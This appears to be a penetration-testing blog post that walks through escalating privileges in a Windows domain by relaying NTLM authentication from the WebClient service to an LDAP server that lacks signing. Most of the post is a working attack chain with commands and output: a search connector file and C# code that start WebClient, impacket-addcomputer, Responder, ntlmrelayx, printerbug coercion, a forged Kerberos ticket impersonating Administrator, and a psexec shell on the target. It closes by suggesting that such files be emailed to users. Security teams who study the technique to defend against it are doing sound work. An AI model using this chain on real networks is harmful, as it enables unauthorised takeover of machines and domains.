WebClient Privilege Escalation

If a domain controllers LDAP server does not have signing enabled, it’s possible to relay NTLM credentials to it from other protocols. One method of doing this, is by exploiting the WebClient service. The WebClient service provides WebDav functionality to Windows Explorer.

This service runs under the context of the machine account, meaning we can gain local administrator privileges on a host running WebClient.

To carry out this attack, first verify that LDAP signing is disabled on the domain controller (which is the default state):

crackmapexec ldap 192.168.1.205 -u alice -p Password1 -M ldap-signing
SMB         192.168.1.205   445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:bordergate.local) (signing:True) (SMBv1:False)
LDAP        192.168.1.205   389    DC01             [+] bordergate.local\alice:Password1 
LDAP-SIG... 192.168.1.205   389    DC01             LDAP signing is NOT enforced on 192.168.1.205


Next, we need to ensure the WebClient service is started on a host. There are a couple of ways we can force this to happen.

Activating WebClient Service using SearchConnector Files

Search Connectors files allow querying remote web services from within Windows Explorer. Visiting a folder that contains a .searchConnector-ms file will cause the WebClient service to start.

cat .searchConnector-ms 
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>https://webdav.example.org/1.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://webdav.example.org/</url>
    </simpleLocation>
</searchConnectorDescription>

┌──(kali㉿kali)-[~/SHARE]
└─$ sudo impacket-smbserver -smb2support SHARE 

After visiting the share, we can see the WebClient service has started.

Activating WebClient Service using C#

The following c# code can be used to start the WebClient service on a host, without needing administrative permissions.

using System.Runtime.InteropServices;
using System;

/* 
 * Simple C# PoC to enable WebClient Service Programmatically
 * Based on the C++ version from @tirannido (James Forshaw)
 * Twitter: https://twitter.com/tiraniddo
 * URL: https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
 * 
 * Compile with:
 *   - 32-bit: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\EtwStartWebClient.cs /unsafe
 *   - 64-bit: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\EtwStartWebClient.cs /unsafe
 */

namespace EtwStartWebClient
{
    class EtwStartWebClient
    {
        static void Main(string[] args)
        {
            if (StartWebClientService()) {
                Console.WriteLine("[+] WebClient Service started successfully");
            }
            else {
                Console.WriteLine("[-] Failed to start WebClient Service");
            }
        }

        static bool StartWebClientService()
        {
            Guid _MS_Windows_WebClntLookupServiceTrigger_Provider = new Guid(0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7);

            Win32.EVENT_DESCRIPTOR eventDescriptor = new Win32.EVENT_DESCRIPTOR();
            ulong regHandle = 0;

            Win32.WINERROR winError = Win32.EventRegister(
                ref _MS_Windows_WebClntLookupServiceTrigger_Provider, 
                IntPtr.Zero, 
                IntPtr.Zero, 
                ref regHandle
            );

            if (winError == ((ulong)Win32.WINERROR.ERROR_SUCCESS))
            {
                unsafe { 
                if (Win32.EventWrite(
                        regHandle,
                        ref eventDescriptor,
                        0,
                        null
                        ) == Win32.WINERROR.ERROR_SUCCESS) { 
                    Win32.EventUnregister(regHandle);
                        return true;
                    }
                }
            }
            return false;
        }
    }

    class Win32
    {

        public enum WINERROR : ulong {
            ERROR_SUCCESS = 0x0,
            ERROR_INVALID_PARAMETER = 0x57,
            ERROR_INVALID_HANDLE = 0x6,
            ERROR_ARITHMETIC_OVERFLOW = 0x216,
            ERROR_MORE_DATA = 0xEA,
            ERROR_NOT_ENOUGH_MEMORY = 0x8,
            STATUS_LOG_FILE_FULL = 0xC0000188,


        }

        [StructLayout(LayoutKind.Explicit, Size = 16)]
        public class EVENT_DESCRIPTOR
        {
            [FieldOffset(0)] ushort Id = 1;
            [FieldOffset(2)] byte Version = 0;
            [FieldOffset(3)] byte Channel = 0;
            [FieldOffset(4)] byte Level = 4;
            [FieldOffset(5)] byte Opcode = 0;
            [FieldOffset(6)] ushort Task = 0;
            [FieldOffset(8)] long Keyword = 0;
        }

        [StructLayout(LayoutKind.Explicit, Size = 16)]
        public struct EVENT_DATA_DESCRIPTOR
        {
            [FieldOffset(0)]
            internal UInt64 DataPointer;
            [FieldOffset(8)]
            internal uint Size;
            [FieldOffset(12)]
            internal int Reserved;
        }

        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern WINERROR EventRegister(ref Guid guid, [Optional] IntPtr EnableCallback, [Optional] IntPtr CallbackContext, [In][Out] ref ulong RegHandle);

        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern unsafe WINERROR EventWrite(ulong RegHandle, ref EVENT_DESCRIPTOR EventDescriptor, uint UserDataCount, EVENT_DATA_DESCRIPTOR* UserData);

        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern WINERROR EventUnregister(ulong RegHandle);
    }
}


Checking the WebClient Service is Started Remotely

Crackmapexec can then be used to determine if the WebClient service is enabled on a remote system.

crackmapexec smb 192.168.1.229 -u alice -p Password1 -M webdav
[*] completed: 100.00% (1/1)
SMB         192.168.1.229   445    WORKSTATION2     [*] Windows 10.0 Build 19041 x64 (name:WORKSTATION2) (domain:bordergate.local) (signing:False) (SMBv1:False)
SMB         192.168.1.229   445    WORKSTATION2     [+] bordergate.local\alice:Password1 
WEBDAV      192.168.1.229   445    WORKSTATION2     WebClient Service enabled on: 192.168.1.229

Exploiting the WebClient Service

Since we now have a machine with the WebClient service started, and we have verified LDAP signing is disabled we can start carrying out the attack. First, add a new machine account to the domain:

impacket-addcomputer -dc-ip 192.168.1.205 -computer-name ADVERSARY -computer-pass 'Password123!' 'bordergate.local/alice:Password1'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account ADVERSARY$ with password Password123!.

We’re going to use Responder since we need a NETBIOS name on the network. However, we need to disable SMB and HTTP interception in it’s configuration since this will be handled by ntlmrelayx.

 cat /etc/responder/Responder.conf 
[Responder Core]

; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
MQTT = On

Start responder to get the host name generated.

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

<SNIP>

[+] Current Session Variables:
    Responder Machine Name     [WIN-OG7R8AGFJPG]
    Responder Domain Name      [BT21.LOCAL]
    Responder DCE-RPC Port     [46984]

Start ntlmrelayx using the following command:

sudo impacket-ntlmrelayx -t ldap://192.168.1.205 --delegate-access -smb2support --escalate-user ADVERSARY\$

Next, use printerbug.py to coerce authentication from the target system (WORKSTATION2) to our hostname that was generated using Responder.py (WIN-OG7R8AGFJPG). Having the target as a WebDav URI will mean the WebClient service will attempt to authenticate against it.

python3 printerbug.py "bordergate.local/alice:Password1@192.168.1.229" WIN-OG7R8AGFJPG@80/print
[*] Impacket v0.11.0 - Copyright 2023 Fortra

[*] Attempting to trigger authentication via rprn RPC at 192.168.1.229
[*] Bind OK
[*] Got handle
RPRN SessionError: code: 0x6ba - RPC_S_SERVER_UNAVAILABLE - The RPC server is unavailable.
[*] Triggered RPC backconnect, this may or may not have worked

In our original ntlmrelayx window, you should see that our ADVERSARY$ user has been provided with S4U2Proxy rights over workstation2.

sudo impacket-ntlmrelayx -t ldap://192.168.1.205 --delegate-access -smb2support --escalate-user ADVERSARY\$
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] HTTPD(80): Connection from 192.168.1.229 controlled, attacking target ldap://192.168.1.205
[*] HTTPD(80): Authenticating against ldap://192.168.1.205 as BORDERGATE/WORKSTATION2$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD(80): Connection from 192.168.1.229 controlled, but there are no more targets left!
[*] HTTPD(80): Connection from 192.168.1.229 controlled, but there are no more targets left!
[*] HTTPD(80): Connection from 192.168.1.229 controlled, but there are no more targets left!
[*] Delegation rights modified succesfully!
[*] ADVERSARY$ can now impersonate users on WORKSTATION2$ via S4U2Proxy

Next we can exploit Resource Based Constrained Delegation (RCBD) to take control of the WORKSTATION2 machine account.

I won’t go too much into exploiting RCBD since I’ve covered it here. Essentially we can now issue a Kerberos ticket impersonating the local administrator on the WORKSTATION2 system.

impacket-getST -spn cifs/workstation2.bordergate.local -impersonate Administrator -dc-ip 192.168.1.205 bordergate.local/ADVERSARY\$:'Password123!'
Impacket v0.11.0 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_workstation2.bordergate.local@BORDERGATE.LOCAL.ccache

┌──(kali㉿kali)-[~/Tools]
└─$ export KRB5CCNAME=Administrator@cifs_workstation2.bordergate.local@BORDERGATE.LOCAL.ccache
                                                                                                                               
┌──(kali㉿kali)-[~/Tools]
└─$ impacket-psexec -k -no-pass bordergate.local/administrator@workstation2.bordergate.local
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on workstation2.bordergate.local.....
[*] Found writable share ADMIN$
[*] Uploading file RjtVHJPy.exe
[*] Opening SVCManager on workstation2.bordergate.local.....
[*] Creating service oEak on workstation2.bordergate.local.....
[*] Starting service oEak.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> hostname
WORKSTATION2


In Conclusion

Even without the ability to instruct machines to start the WebClient service, this is still quite a useful attack, since a number of hosts in an environment probably have it activated anyway. In theory it’s also possible to send searchConnector-ms files via email, or coerce a user into downloading them from a website to activate the WebClient service.